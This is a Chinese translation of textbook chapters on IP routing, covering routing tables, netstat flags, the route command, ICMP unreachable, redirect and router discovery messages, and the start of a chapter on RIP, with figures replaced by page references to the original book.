8.5 在图8.8运行例子中，我们可以在sun和netb之间的SLIP链路上运行tcpdump程序。如果我们指定-v参数，就可以看到返回ICMP报文的TTL值。这样，我们可以看到进入netb，butch，Gabby和enss142.UT.westnet.net的TTL值分别为255，253，252和249。这是否为我们判断是否存在丢失路由器提供了额外的信息？
8.6 SunOS和SVR4都提供了带-l选项的ping版本，以提供松源路由选择。手册上说明，该选项可以与 -R 选项（指定记录路由选项）一起用的。如果你已经进入到这些系统中，请尝试同时用这两个选项。其结果是什么：如果你采用tcpdump来观测数据报，请描述其过程。
8.7 比较ping和traceroute程序在处理同一台主机客户的多个实例上的不同点。
8.8 比较ping和traceroute程序在计算往返时间上的不同点。
8.9 我们已经说过，traceroute程序选取开始UDP目的主机端口号为33453，每发送一个数据报将此数加1。在1.9节中，我们说过暂时端口号通常是1024到5000之间的值，因此traceroute程序的目的主机端口号不可能是目的主机上所使用的端口号。在Solaris2.2系统中的情况也是如此吗？（提示：查看E.4节）
8.10 RFC 1393 [Malkin 1993b]提出了另一种判断到目的主机路径的方法。请问其优缺点是什么？
8－8
9 IP路由选择

9.1 引言
路由选择是IP最重要的功能之一。图9.1是IP层处理过程的简单流程。需要进行路由选择的数据报可以由本地主机产生，也可以由其他主机产生。在后一种情况下，主机必须配置成一个路由器，否则通过网络接口接收到的数据报，如果目的地址不是本机就要被丢弃（例如，悄无声息地被丢弃）。
在图9.1中，我们还描述了一个路由守护程序（daemon），一般来说是一个用户进程。在Unix系统中，大多数普通的守护程序都是路由程序和网关程序。（术语daemon指的是运行在后台的进程，它代表整个系统执行某些操作。daemon一般在系统引导时启动，在系统运行期间一直存在。）在某个给定主机上运行何种路由协议，如何在相邻路由器上交换选路信息，以及选路协议是如何工作的，所有这些问题都是非常复杂的，其本身就可以用整本书来加以讨论。（有兴趣的读者可以参考文献[Perlman 1992]以获得更详细的信息。）在第10章中，我们将简单讨论动态路由选择和选路信息协议RIP（Routing Information Protocol）。在本章我们主要的目的是了解单个IP层如何作出路由决策的。
图9.1所示的路由表经常被IP访问（在一个繁忙的主机上，一秒钟内可能要访问几百次），但是它被路由守户程序更新的频度却要低得多（可能大约30秒种一次）。当接收到ICMP“改变路由（redirect）”报文时路由表也要被更新，这一点我们将在9.5节讨论route命令时加以介绍。在本章中，我们还将用netstat命令来显示路由表。

图9.1 IP层工作流程

9.2 路由选择的原理
开始讨论IP路由选择之前，首先要理解内核是如何维护路由表的。路由表中包含的信息决定了IP层所做的所有决策。
在3.3节中，我们列出了IP搜索路由表的几个步骤：
1. 搜索匹配的主机地址；
2. 搜索匹配的网络地址；
3. 搜索默认表项。（默认表项一般在路由表中被指定为一个网络表项，其网络号为0。）

匹配主机地址步骤始终发生在匹配网络地址步骤之前。
IP层进行的路由选择实际上是一种路由选择机制，它搜索路由表并决定向哪个网络接口发送分组。这区别于路由选择策略，它只是一组决定把哪些路由放入路由表的规则。IP执行路由选择机制，而路由守护程序则一般提供路由选择策略。

简单路由表
首先让我们来看一看一些典型的主机路由表。在主机svr4上，我们先执行带-r参数的netstat命令列出路由表，然后以-n参数再次执行该命令，以数字格式打印出IP地址。（我们这样做是因为路由表中的一些表项是网络地址，而不是主机地址。如果没有-n参数，netstat命令将搜索文件/etc/networks并列出其中的网络名。这样会与另一种形式的名字——网络名加主机名相混淆。

（见原书p.113的①）

第一行说明，如果目的地是140.252.13.65（slip主机），那么网关（路由器）将把分组转发给140.252.13.35（bsdi）。这正是我们所期望的，因为主机slip通过SLIP链路与bsdi相连接，而bsdi与该主机在同一个以太网上。
对于一个给定的路由器，可以打印出五种不同的标志（flag）：
U 该路由可以使用。
G 该路由是到一个网关（路由器）。如果没有设置该标志，说明目的地是直接相连的。
H 该路由是到一个主机，也就是说，目的地址是一个完整的主机地址。如果没有设置该标志，说明该路由是到一个网络，而目的地址是一个网络地址：一个网络号，或者网络号与子网号的组合。
D 该路由是由改变路由（redirect）报文创建的（9.5节）。
M 该路由已被改变路由报文修改（9.5节）。

标志G是非常重要的，因为由它区分了间接路由和直接路由。（对于直接路由来说是不设置标志G的。）其区别在于，发往直接路由的分组中不但具有指明目的端的IP地址，还具有其链路层地址（图3.3）。当分组被发往一个间接路由时，IP地址指明的是最终的目的地，但是链路层地址指明的是网关（即下一站路由器）。我们在图3.4已看到这样的例子。在个路由表例子中，我们有一个间接路由（设置了标志G），因此采用这一项路由的分组其IP地址是最终的目的地（140.252.13.65），但是其链路层地址必须对应于路由器140.252.13.35。
理解G和H标志之间的区别是很重要的。G标志区分了直接路由和间接路由，如上所述。但是H标志表明，目的地址（netstat命令输出第一行）是一个完整的主机地址。没有设置H标志说明目的地址是一个网络地址（主机号部分为0）。当为某个目的IP地址搜索路由表时，主机地址项必须与目的地址完全匹配，而网络地址项只需要匹配目的地址的网络号和子网号就可以了。另外，大多数版本的netstat命令首先打印出所有的主机路由表项，然后才是网络路由表项。
参考记数Refcnt（“Reference count ”）列给出的是正在使用路由的活动进程个数。面向连接的协议如TCP在建立连接时要固定路由。如果在主机svr4和slip之间建立Telnet连接，我们可以看到参考记数值变为1。建立另一个Telnet连接时，它的值将增加为2，以此下去。
下一列（“use"）显示的是通过该路由发送的分组数。如果我们是这个路由的唯一分组，那么我们运行ping程序发送5个分组后，它的值将变为5。最后一列列出的（interface）是本地接口的名字。
输出的第2行是环回接口（2.7节），它的名字始终为lo0。没有设置G标志，因为该路由不是一个网关。H标志说明目的地址（127.0.0.1）是一个主机地址，而不是一个网络地址。由于没有设置G标志，说明这是一个直接路由，网关列给出的是出口IP地址。
输出的第3行是默认路由。每个主机都有一个或多个默认路由。这一项表明，如果在表中没有找到特定的路由，就把分组发送到路由器140.252.13.33（sun主机）。这说明当前主机（svr4）利用这一个路由表项就可以通过Internet经路由器sun（及其SLIP链路）访问其他的系统。建立默认路由是一个功能很强的概念。该路由标志（UG）表明它是一个网关，这是我们所期望的。

（下面是原书p.114①的译文）
这里，我们有目的地称sun为路由器而不是主机，因为它被当作默认路由器来使用，它发挥的是IP转发功能，而是主机功能。
Host Requirements RFC文档特别说明，IP层必须支持多个默认路由。但是，许多实现系统并不支持这一点。当存在多个默认路由时，一般的技术就成为它们周围的知更鸟了，例如，Solaris 2.2就是这样做的。

输出中的最后一行是所在的以太网。H标志没有设置，说明目的地址（140.252.13.32）是一个网络地址，其主机地址部分设为0。事实上，是它的低5位设为0（图3.11）。由于这是一个直接路由（G标志没有被设置），网关列指出的IP地址是出口地址。
netstat命令输出的最后一项还隐含了另一个信息，那就是目的地址（140.252.13.32）的子网掩码。如果要把该目的地址与140.252.13.33进行比较，那么在比较之前首先要把它与目的地址掩码（0xffffffe0，3.7节）进行逻辑与。由于内核知道每个路由表项对应的接口，而且每个接口都有一个对应的子网掩码，因此每个路由表项都有一个隐含的子网掩码。
主机路由表的复杂性取决于主机所在网络的拓扑结构。
1. 最简单的（也是最不令人感兴趣的）情况是主机根本没有与任何网络相连。TCP/IP协议仍然能用于这样的主机，但是只能与自己本身通信！这种情况下的路由表只包含环回接口一项。
2. 接下来的情况是主机连在一个局域网上，只能访问局域网上的主机。这时路由表包含两项：一项是环回接口，另一项是局域网（如以太网）。
3. 如果主机能够通过单个路由器访问其他网络（如Internet）时，那么就要进行下一步。一般情况下增加一个默认表项指向该路由器。
4. 如果要新增其他的特定主机或网络路由，那么就要进行最后一步。在我们的例子中，到主机slip的路由要通过路由器bsdi就是这样的例子。
我们根据上述IP操作的步骤使用这个路由表为主机svr4上的一些例子分组选择路由。
1. 假定目的地址是主机sun，140.252.13.33。首先进行主机地址的匹配。路由表中的两个主机地址表项（slip和localhost）均不匹配，接着进行网络地址匹配。这一次匹配成功，找到表项140.252.13.32（网络号和子网号都相同），因此使用emd0接口。这是一个直接路由，因此链路层地址将是目的端的地址。
2. 假定目的地址是主机slip，140.252.13.65。首先在路由表搜索主机地址，并找到一个匹配地址。这是一个间接路由，因此目的端的IP地址仍然是140.252.13.65，但是链路层地址必须是网关140.252.13.65的链路层地址，其接口名为emd0。
3. 这一次我们通过Internet给主机aw.com（192.207.117.2）发送一份数据报。首先在路由表中搜索主机地址，失败后进行网络地址匹配。最后成功地找到默认表项。该路由是一个间接路由，通过网关140.252.13.33并使用接口名为emd0。
4. 在我们最后一个例子中，我们给本机发送一份数据报。有四种方法可以完成这件事，如用主机名，主机IP地址，环回名，或者环回IP地址：

ftp svr4
ftp 140.252.13.34

ftp localhost
ftp 127.0.0.1

在前两种情况下，对路由表的第二次搜索得到一个匹配的网络地址140.252.13.32，并把IP报文传送给以太网驱动程序。正如图2.4所示的那样，IP报文中的目的地址为本机IP地址，因此报文被送给环回驱动程序，然后由驱动程序把报文放入IP输出队列中。
在后两种情况下，由于指定了环回接口的名字或IP地址，第一次搜索就找到匹配的主机地址，因此报文直接被送给环回驱动程序，然后由驱动程序把报文放入IP输出队列中。
上述四种情况报文都要被送给环回驱动程序，但是采用的两种路由决策是不相同的。

初始化路由表
我们从来没有说过这些路由表是如何被创建的。每当初始化一个接口时（通常是用 ifconfig命令设置接口地址时），就为接口自动创建一个直接路由。对于点对点链路和环回接口来说，路由是到达主机（例如，设置H标志）。对于广播接口来说，如以太网，路由是到达网络。
到达主机或网络的路由如果不是直接相连的，那么就必须加入路由表。一个普通的方法在系统引导时显式地在初始化文件中运行route命令。在主机svr4上，我们运行下面两个命令来添加路由表中的表项：

route add default sun 1
route add slip bsdi 1

第三个参数（default和slip）代表目的端，第四个参数代表网关（路由器），最后一个参数代表路由的度量(metric)。route命令在度量值大于0时要为该路由设置G标志，否则当耗费值为0时就不设置G标志。

（下面是原书p.116①的译文）
不幸的是，几乎没有系统愿意在启动文件中包含route命令。在4.4 BSD和BSD/386系统中，启动文件是/etc/netstart, 在SVR4系统中，启动文件是/etc/inet/rc.inet, 在Solaris 2.x中，启动文件是/etc/rc2.d/S69inet, 在SunOS 4.1.x中，启动文件是/etc/rc.local, 而AIX 3.2.2则使用文件/etc/rc.net。
一些系统允许在某个文件中指定默认的路由器，如/etc/defaultrouter，于是在每次重新启动系统时都要在路由表中加入该默认项。
初始化路由表的其它方法是运行路由守护程序（第10章）或者用较新的路由器发现协议（9.6节）。

较复杂的路由表
在我们的子网上，主机sun是所有主机的默认路由器，因为它有拔号SLIP链路连接到Internet上（参见封二上的图）。

（见原书p.117的①）

前两项与主机svr4的前两项一致:通过路由器bsdi到达slip的特定主机路由，以及环回路由。
第三行是新加的。这是一个直接到达主机的路由(没有设置G标志，但设置了H标志)，对应于点对点的链路，即SLIP接口。如果我们把它与ifconfig命令的输出进行比较：

sun % ifconfig sl0
sl0: flags=1051
inet 140.252.1.29 --> 140.252.1.183 netmask ffffff00

我们发现路由表中的目的地址就是点对点链路的另一端(即路由器netb), 网关地址为本地出口IP地址(140.252.1.29)。(我们前面已经说过, netstat为直接路由打印出来的网关地址就是本地接口所用的IP地址。)
默认的路由表项是一个到达网络的间接路由(设置了G标志，但没有设置H标志)，这正是我们所希望的。网关地址是路由器的地址(140.252.1.183，SLIP链路的另一端), 而不是SLIP链路的本地IP地址(140.252.1.29)。其原因还是因为是间接路由，不是直接路由。
我们还应该指出的是，netstat输出的第三和第四行(接口名为sl0)由SLIP软件在启动时创建，并在关闭时删除.

没有到达目的地的路由
我们所有的例子都假定对路由表的搜索都能找到匹配的表项，即使匹配的是默认项。如果路由表中没有默认项，而又没有找到匹配项，这时会发生什么情况呢？
结果取决于该IP数据报是由主机产生的还是被转发的（例如，我们就充当一个路由器）。如果数据报是由本地主机产生的，那么就给发送该数据报的应用程序返回一个差错，或者是“主机不可达差错”或者是“网络不可达差错”。如果是被转发的数据报，那么就给原始发送端发送一份ICMP主机不可达差错的报文。在下一节我们将讨论这种差错。

9.3 ICMP主机与网络不可达差错
当路由器收到一份IP数据报但又不能转发时，就要发送一份ICMP“主机不可到达”差错报文。（ICMP主机不可达报文的格式如图6.10所示）。我们可以很容易发现，在我们的网络上把接在路由器sun上的拔号SLIP链路断开，然后试图通过该SLIP链路发送分组给任何指定sun为默认路由器的主机。

（下面是原书p.118①的译文）
较老版本的BSD产生一个主机不可达或者网络不可达差错，这取决于目的端是否处于一个局域子网上。4.4 BSD只产生主机不可达差错。

我们在上一节通过在路由器sun上运行netstat命令可以看到，当接通SLIP链路启动时就要在路由表中增加一项使用SLIP链路的表项，而当断开SLIP链路时则删除该表项。这说明当SLIP链路断开时，sun的路由表中就没有默认项了。但是我们不想改变网络上其他主机的路由表，即同时删除它们的默认路由。相反，对于sun不能转发的分组我们对它产生的ICMP主机不可达差错报文进行计数。
在主机svr4上运行ping程序就可以看到这一点，它在拔号SLIP链路的另一端（拔号链路已被断开）：

（见原书p.118的②）

在主机bsdi上运行tcpdump命令的输出如图9.2所示。

图9.2 响应ping命令ICMP主机不可达报文

当路由器sun发现找不到能到达主机gemini的路由时，它就响应一个主机不可达的回响请求报文。
如果我们把SLIP链路接到Internet上，然后试图ping一个与Internet没有连接的IP地址，那么应该会产生差错。但令人感兴趣的是，我们可以看到在返回差错报文之前，分组要在Internet上传送多远：

（见原书p.118的③）

从图8.5可以看出，在发现该IP地址是无效的之前，该分组已通过了6个路由器。只有当它到达NSFNET骨干网的边界时才检测到差错。这说明， 6个路由器之所以能转发分组是因为路由表中有默认项，只有当分组到达NSFNET骨干网时，路由器才能知道每个连接到Internet上的每个网络的信息。这说明许多路由器只能在局部范围内工作。
参考文献[Ford, Rekhter, and Braun 1993]定义了顶层选路域（top-level routing domain），由它来维护大多数Internet网站的路由信息，而不使用默认路由。他们指出，在Internet上存在5个这样的顶层选路域：NSFNET主干网，商业互连网交换（Commercial Internet Exchange: CIX），NASA科学互连网（NASA Science Internet: NSI），SprintLink，以及欧洲IP主干网（EBONE）。

9.4 转发或不转发
前面我们已经提过几次，一般都假定主机不转发IP数据报，除非对它们进行特殊配置而作为路由器使用。如何进行这样的配置呢？
大多数伯克利派生出来的系统都有一个内核变量ipforwarding，或其他类似的名字。（参见附录E。）一些系统（如BSD/386和SVR4）只有在该变量值不为0的情况下才转发数据报。SunOS 4.1.x允许该变量可以三个不同的值：-1表示始终不转发并且始终不改变它的值；0表示默认条件下不转发，但是当打开两个或更多个接口时就把该值设为1；1表示始终转发。Solaris 2.x把这三个值改为0（始终不转发），1（始终转发）和2（在打开两个或更多个接口时才转发）。
较旧版本的4.2BSD主机在默认条件下可以转发数据报，这给没有进行正确配置的系统带来了许多问题。这就是内核选项为什么要设成默认的“始终不转发”的原因，除非系统管理员进行特殊设置。

9.5 ICMP改变路由差错
当IP数据报应该被发送到另一个路由器时，收到数据报的路由器就要发送ICMP改变路由(redirect)差错报文给IP数据报的发送端。这在概念上是很简单的，正如我们在图9.3中所示的那样。只有当主机可以选择路由器发送分组的情况下我们才可能看到ICMP改变路由报文。（回忆我们在图7.6中看过的例子。）
1. 我们假定主机发送一份IP数据报给R1。这种路由选择决策经常发生，因为R1是该主机的默认路由。
2. R1收到数据报并且检查它的路由表，发现R2是发送该数据报的下一站。当它把数据报发送给R2时，R1检测到它正在发送的接口与数据报到达接口是相同的（即主机和两个路由器所在的LAN）。这样就给路由器发送改变路由报文给原始发送端提供了线索。
3. R1发送一份ICMP改变路由报文给主机，告诉它以后把数据报发送给R2而不是R1。

图9.3 ICMP改变路由例子

改变路由一般用来让具有很少路由选择信息的主机逐渐建立更完善的路由表。主机启动时路由表中可以只有一个默认表项（在图9.3的例子中，为R1或R2），一旦默认路由发生差错，默认路由器将通知它进行改变路由，允许主机对路由表作相应的改动。ICMP改变路由允许TCP/IP主机在进行路由选择时不需要具备智能特性，而把所有的智能特性放在路由器端。显然，在我们的例子中，R1和R2 必须知道有关相连网络的更多拓扑结构的信息，但是连在LAN上的所有主机在启动时只需一个默认路由，通过接收改变路由报文来逐步学习。
一个例子
我们可以在我们的网络上观察到ICMP改变路由的操作过程（见封二的图）。尽管我们在拓扑图中只画出了三台主机（aix, solaris和gemini）和两台路由器（gateway和netb），但是整个网络有超过150台主机和10台另外的路由器。大多数的主机都把gateway指定为默认路由器，因为它提供了Internet的入口。
子网140.252.1上的主机是如何访问作者所在子网（图中底下的四台主机）的呢？首先，如果在SLIP链路的一端只有一台主机，那么就要使用代理ARP（4.6节）。这意味着位于拓扑图顶部的子网（140.252.1）中的主机不需要其他特殊条件就可以访问主机sun（140.252.1.29）。位于netb上的代理ARP软件处理这些事情。
但是，当网络位于SLIP链路的另一端时，就要涉及到路由选择了。一个办法是让所有的主机和路由器都知道路由器netb是网络140.252.13的网关。这可以在每个主机的路由表中设置静态路由，或者在每个主机上运行守护程序来实现。另一个更简单的办法（也是实际采用的方法）是利用ICMP改变路由报文来实现。
让我们在位于网络顶部的主机solaris上运行ping程序到主机bsdi(140.252.13.35)。由于子网号不相同，代理ARP不能使用。假定没有安装静态路由，发送的第一个分组将采用到路由器gateway的默认路由。下面是我们运行ping程序之前的路由表：

（见原书p.121的①）

（224.0.0.0所在的表项是IP广播地址。我们将在第12章讨论。）如果为ping程序指定-v选项，我们可以看到主机接收到的任何ICMP报文。我们需要指定该选项以观察发送的改变路由报文。

（见原书p.121的②）

在我们收到ping程序的第一个响应之前，主机先收到一份来自默认路由器gateway发来的ICMP改变路由报文。如果我们这时查看路由表，会发现已经插入了一个到主机bsdi的新路由。（该表项如下黑体字所示。）

（见原书p.121的③）

这是我们第一次看到D标志，表示该路由是被ICMP改变路由报文创建的。G标志说明这是一份到达gateway(netb）的间接路由，H标志则说明这是一个主机路由（正如我们期望的那样），而不是一个网络路由。
由于这是一个被主机改变路由报文增加的主机路由，因此它只处理到达主机bsdi的报文。如果我们接着访问主机svr4，那么就要产生另一个ICMP改变路由报文，创建另一个主机路由。类似地，访问主机slip也创建另一个主机路由。位于子网上的三台主机（bsdi, svr4和slip）还可以由一个指向路由器sun的网络路由来进行处理。但是ICMP改变路由报文创建的是主机路由，而不是网络路由，这是因为在本例中，产生ICMP改变路由报文的路由器并不知道位于140.252.13网络上的子网信息。

更多的细节
ICMP改变路由报文的格式如图9.4所示。

图9.4 ICMP改变路由报文

有四种不同类型的改变路由报文，有不同的代码值，如图9.5所示。

图9.5 ICMP改变路由报文的不同代码值

ICMP改变路由报文的接收者必须查看三个IP地址：(1)导致改变路由的IP地址（即ICMP改变路由报文的数据位于IP数据报的首部）；(2)发送改变路由报文的路由器的IP地址（包含改变路由信息的IP数据报中的源地址；(3)应该采用的路由器IP地址（在ICMP报文中的4-7字节）。
关于ICMP改变路由报文有很多规则。首先，改变路由报文只能由路由器生成，而不能由主机生成。另外，改变路由报文是为主机而不是为路由器使用的。假定路由器和其他一些路由器共同参与某一种路由选择协议，则该协议就能消除改变路由的需要。（这意味着在图9.1中的路由表应该消除或者能被路由选择守护程序修改，或者能被改变路由报文修改，但不能同时被二者修改。）
在4.4BSD系统中，当主机作为路由器使用时，要进行下列检查，在生成ICMP改变路由报文之前这些条件都要满足。
1. 出接口必须等于入接口。
2. 用于向外传送数据报的路由不能被ICMP改变路由报文创建或修改过，而且不能是路由器的默认路由。
3. 数据报不能用源站选路来转发。
4. 内核必须配置成可以发送改变路由报文。

（下面是原书p.123①的译文）
内核变量取名为ip_sendredirects或其他类似的名字。（参见附录E。）大多数当前的系统（例如BSD, SunOS 4.1.x, Solaris 2.x, 及AIX 3.2.2）在默认条件下都设置该变量使系统可以发送改变路由报文。其他系统如SVR4则关闭了该项功能。

另外，一台4.4BSD主机收到ICMP改变路由报文后，在修改路由表之前要作一些检查。这是为了防止路由器或主机的误操作，以及恶意用户的破坏，导致差错地修改系统路由表。
1. 新的路由器必须直接与网络相连接。
2. 改变路由报文必须来自当前到目的地所选择的路由器。
3. 改变路由报文不能让主机本身作为路由器。
4. 被修改的路由必须是一个间接路由。

关于改变路由最后要指出的是，路由器应该发送的只是对主机的改变路由（代码1或3，如图9.5所示），而不是对网络的改变路由。子网的存在使得难于准确指明何时应发送对网络的改变路由而不是对主机的改变路由。只当路由器发送了错误的类型时，一些主机才把收到的对网络的改变路由当作对主机的改变路由来处理。

9.6 ICMP路由器发现报文
我们在本章前面已提到过一种初始化路由表的方法，即在配置文件中指定静态路由。这种方法经常用来设置默认路由。另一种新的方法是利用ICMP路由器通告和请求报文。
一般认为，主机在引导以后要广播或多播传送一份路由器请求报文。一台或更多台路由器响应一份路由器通告报文。另外，路由器定期地广播或多播传送它们的路由器通告报文，允许每个正在监听的主机相应地更新它们的路由表。
RFC 1256 [Deering 1991]确定了这两种ICMP报文的格式。ICMP路由器请求报文的格式如图9.6所示。ICMP路由器通告报文的格式如图9.7所示。
路由器在一份报文中可以通告多个地址。地址数指的是报文中所含的地址数。地址项大小指的是每个路由器地址32-bit字的数目，始终为2。生命周期指的是通告地址有效的时间（秒数）。

图9.6 ICMP路由器请求报文格式

图9.7 ICMP路由器通告报文格式

接下来是一对或多对IP地址和优先级。IP地址必须是发送路由器的某个地址。优先级是一个有符号的32-bit整数，指出该IP地址作为默认路由器地址的优先等级，这是与子网上的其他路由器相比较而言的。值越大说明优先级越高。优先级为0x80000000说明对应的地址不能作为默认路由器地址使用，尽管它也包含中通告报文中。优先级的默认值一般为0。

路由器操作
当路由器启动时，它定期在所有广播或多播传送接口上发送通告报文。准确地说，这些通告报文不是定期发送的，而是随机传送的，以减小与子网上其他路由器发生冲突的概率。一般每两次通告间隔450和600秒。一份给定的通告报文默认生命周期是30分钟。
使用生命周期域的另一个时机是当路由器上的某个接口被关闭时。在这种情况下，路由器可以大该接口上发送最后一份通告报文，并把生命周期值设为0。
除了定期发送主动提供的通告报文以外，路由器还要监听来自主机的请求报文，并发送路由器通告报文以响应这些请求报文。
如果子网上有多台路由器，由系统管理员为每个路由器设置优先等级。例如，主默认路由器就要比备份路由器具有更高的优先级。

主机操作
主机在引导期间一般发送三份路由器请求报文，每三秒钟发送一次。一旦接收到一个有效的通告报文，就停止发送请求报文。
主机也监听来自相邻路由器的请求报文。这些通告报文可以改变主机的默认路由器。另外，如果没有接收到来自当前默认路由器的通告报文，那么默认路由器会超时。
只要有一般的默认路由器，该路由器就会每隔10分钟发送通告报文，报文的生命周期是30分钟。这说明主机的默认表项是不会超时的，即使错过一份或两份通告报文。

实现
路由器发现报文一般由用户进程（守护程序）创建和处理。这样，在图9.1中就有另一个修改路由表的程序，尽管它只增加或删除默认表项。守护程序必须把它配置成一台路由器或主机来使用。

（下面是原书 p.125①的译文）
这两种ICMP报文是新加的，不是所有的系统都支持它们。在我们的网络中，只有Solaris 2.x支持这两种报文（ in.rdisc守护程序）。尽管RFC建议用尽可能用IP多播传送，但是路由器发现还可以利用广播报文来实现。

9 .7 小结
IP路由操作对于运行TCP／IP的系统来说是最基本，不管是主机还是路由器。路由表项的内容很简单，它包括：5 bit标志，目的IP地址（主机，网络，或默认），下一站路由器的IP地址（间接路由）或者本地接口的IP地址（直接路由），指向本地接口的指针。主机表项比网络表项具有更高的优先级，而网络表项比默认项具有更高的优先级。
系统产生的或转发的每份IP数据报都要搜索路由表，它可以被路由守护程序或ICMP改变路由报文修改。系统在默认情况下不转发数据报，除非进行特殊的配置。用route命令可以进入静态路由，可以利用新ICMP路由器发现报文来初始化默认表项，并进行动态修改。主机在启动时只有一个简单的路由表，它可以被来自默认路由器的ICMP改变路由报文动态修改。
在本章，我们集中讨论了单个系统是如何利用路由表的。在下一章，我们将讨论路由器之间是如何交换路由信息的。

TCP/IP详解（四）
习题
9.1 为什么你认为存在两类ICMP改变路由报文——网络和主机？
9.2 在9 .4节开头列出的svr4主机上的路由表中，到主机slip（140.252.13.65）的特定路由是必需的吗？如果把这一项从路由表中删除会有什么变化？
9.3 考虑有一电缆连接4.2BSD主机和4.3BSD主机。假定网络号是140.1。4.2BSD主机把主机号为全0的地址识别的广播地址(140.1.0.0)。另外，4.2BSD主机在默认条件下要尽力转发接收到的数据报，尽管它们只有一个接口。
请描述当4.2BSD主机收到一份目的地址为140.1.255.255的IP数据报时会发生什么事。
9.4 继续前一个习题，假定有人在子网140.1上的某个系统ARP高速缓存中增加了一项（用arp命令）内容，指定IP地址140.1.255.255对应的以太网地址为全1（以太网广播地址）。请描述此时发生的情况。
9.5 检查你所使用的系统上的路由表，并解释每一项内容。

9－6
10 动态选路协议
10.1 引言
在前面各章中，我们讨论了静态选路。在配置接口时，以默认方式生成路由表项（对于直接连接的接口），并通过route命令增加表项（通常从系统自引导程序文件），或是通过ICMP改变路由生成表项（通常是在默认方式出错的情况下）。
在网络很小时，与其它网络只有单个连接点且没有多余路由时（若主路由失败时，可以使用备用路由），采用这种方法是可行的。如果上述三种情况不能全部满足的话，通常使用动态选路。
本章讨论动态选路协议，它用于路由器间的通信。我们主要讨论RIP，即选路信息协议(Routing Infromation Protocol)，大多数TCP/IP实现都提供的这个应用广泛的协议。然后我们讨论两种新的选路协议，OSPF和BGP。本章的最后研究了一种名叫无分类域间选路的新的选路技术，现在Internet上正在开始采用该协议以保持B类网络的数量。
10.2 动态选路
当相邻路由器之间进行通信，以告知对方每个路由器当前所连接的网络，这时就出现了动态选路。路由器之间必须采用选路协议进行通信，这种选路协议有很多种。路由器上有一个进程称为路由守护程序（routing daemon），它运行选路协议，并与其相邻的一些路由器进行通信。正如图9.1所示，路由守护程序根据它从相邻路由器接收到的信息，更新内核中的路由表。
动态选路并不改变我们在9.2节中所描述的内核在IP层的选路方式。我们这种选路方式称为选路机制（routing mechanism）。内核搜索路由表，查找主机路由、网络路由以及默认路由的方式并没有改变。仅仅是放置到路由表中的信息改变了——当路由随时间变化时，路由是由路由守护程序动态地增加或删除，而不是来自于自引导程序文件中的route命令。
正如我们前面所描述的那样，路由守护程序将选路策略（routing policy）加入到系统中，选择路由并加入到内核的路由表中。如果守护程序发现前往同一信宿存在多条路由，那么它（以某种方法）将选择最佳路由并加入内核路由表中。如果路由守护程序发现一条链路已经断开（可能是路由器崩溃或电话线路不好），它可以删除受影响的路由或增加另一条路由以绕过该问题。
在像Internet这样的系统中，目前采用了许多不同的选路协议。Internet是以一组自治系统AS（Autonomous sys tem）的方式组织的，每个自治系统通常由单个实体管理。常常将一个公司或大学校园定义为一个自治系统。NSFNET的Internet骨干网形成一个自治系统，这是因为骨干网中的所有路由器都在单个的管理控制之下。
每个自治系统可以选择该自治系统中各个路由器之间的选路协议。这种协议我们称之为内部网关协议IGP（Interior Gateway Protocol）或域内选路协议（intradomain routing protocol）。最常用的IGP是选路信息协议RIP。一种新的IGP是开放最短路径优先OSPF（Open Shortest Path First）协议。它意在取代RIP。另一种1986年在原来NSFNET骨干网上使用的IGP协议——HELLO，现在已经不用了。
（下面是原书p.128①的译文）
新的RFC [Almquist 1993]规定，实现任何动态选路协议的路由器必须同时支持OSPF和RIP，还可以支持其它IGP协议。
外部网关协议EGP（Exterier Gateway Protocol）或域内选路协议的分隔选路协议用于不同自治系统之间的路由器。在历史上，（令人容易混淆）改进的EGP有着一个与它名称相同的协议：EGP。新EGP是当前在NSFNET骨干网和一些连接到骨干网的区域性网络上使用的是边界网关协议BGP（Border Gateway Protocol）。BGP意在取代EGP。
10.3 Unix选路守护程序
Unix系统上常常运行名为routed 路由守护程序。几乎在所有的TCP/IP实现中都提供该进程。该程序只使用RIP进行通信，我们将在下一节中讨论该协议。这是一种用于小型到中型网络中的协议。
另一个程序是gated。IGP和EGP都支持它。[Fedor 1998]描述了早期开发的gated。图10.1对routed和两种不同版本的gated所支持的不同选路协议进行了比较。大多数运行路由守护程序的系统都可以运行routed，除非它们需要支持gated所支持的其它协议。
图10.1 routed和gated所支持的选路协议
我们在下一节中描述RIP 版本1，在10.5中描述它与RIP版本2的不同点，10.6节描述OSPF，在10.7节描述BGP。
10.4 RIP：选路信息协议
本节对RIP进行了描述，这是因为它是最广为使用（也是最受攻击）的选路协议。对于RIP的正式描述文件是RFC 1058 [Hedrick 1988a]，但是该RFC是在该协议实现数年后才出现的。
报文格式
RIP报文包含中在UDP数据报中，如图10.2所示。（我们在第11章中对UDP进行更为详细的描述。）
图10.2 封装在UDP数据报中的RIP报文
图10.3给出了使用IP地址时的RIP报文格式。
命令字段为1表示请求，2表示回答。还有两个舍弃不用的命令（3和4），两个非正式的命令：轮询（5）和轮询表项（6）。请求表示要求其它系统发送其全部或部分路由表。回答则包含发送者全部或部分路由表。
版本字段通常为1，而第2版RIP（10.5节）将此字段设置为2。
紧跟在后面的20字节指定地址系列（address family）（对于IP地址来说，其值是2），IP地址以及相应的度量。我们在本节的后面可以看出，RIP的度量是以跳计数的。
采用这种20字节格式的RIP报文可以通告多达25条路由。上限25是用来保证RIP报文的总长度为20×25 + 4 = 504，小于512字节。由于每个报文最多携带25个路由，因此为了发送整个路由表，经常需要多个报文。
正常运行
让我们来看一下采用RIP协议的routed程序正常运行的结果。RIP常用的UDP端口号是520。
&#8226;初始化：在启动一个路由守护程序时，它先判断启动了哪些接口，并在每个接口上发送一个请求报文，要求其它路由器发送完整路由表。在点对点链路中，该请求是发送给其它终点的。如果网络支持广播的话，这种请求是以广播形式发送的。目的UDP端口号是520（这是其它路由器的路由守护程序端口号）。
这种请求报文的命令字段为1，但地址系列字段设置为0，而度量字段设置为16。这是一种要求另一端完整路由表的特殊请求报文。
&#8226;接收到请求。如果这个请求是我们刚才提到的特殊请求，那么路由器就将完整的路由表发送给请求者。否则的话，就处理请求中的每一个表项：如果我们有连接到指明地址的路由，则将度量(metric)设置成我们的值，否则将度量置为16。（度量为16是一种称为“无穷大”的特殊值，它意味着我们没有到达目的的路由。）然后发回响应。
&#8226;接收到响应。使响应生效，可能会更新路由表。可能会增加新表项，对已有的表项进行修改，或是将已有表项删除。
&#8226;定期选路更新。每过30秒，所有或部分路由器会将其完整路由表发送给相邻路由器。发送路由表可以是广播形式的（如在以太网上），或是发送给点对点链路的其它终点的。
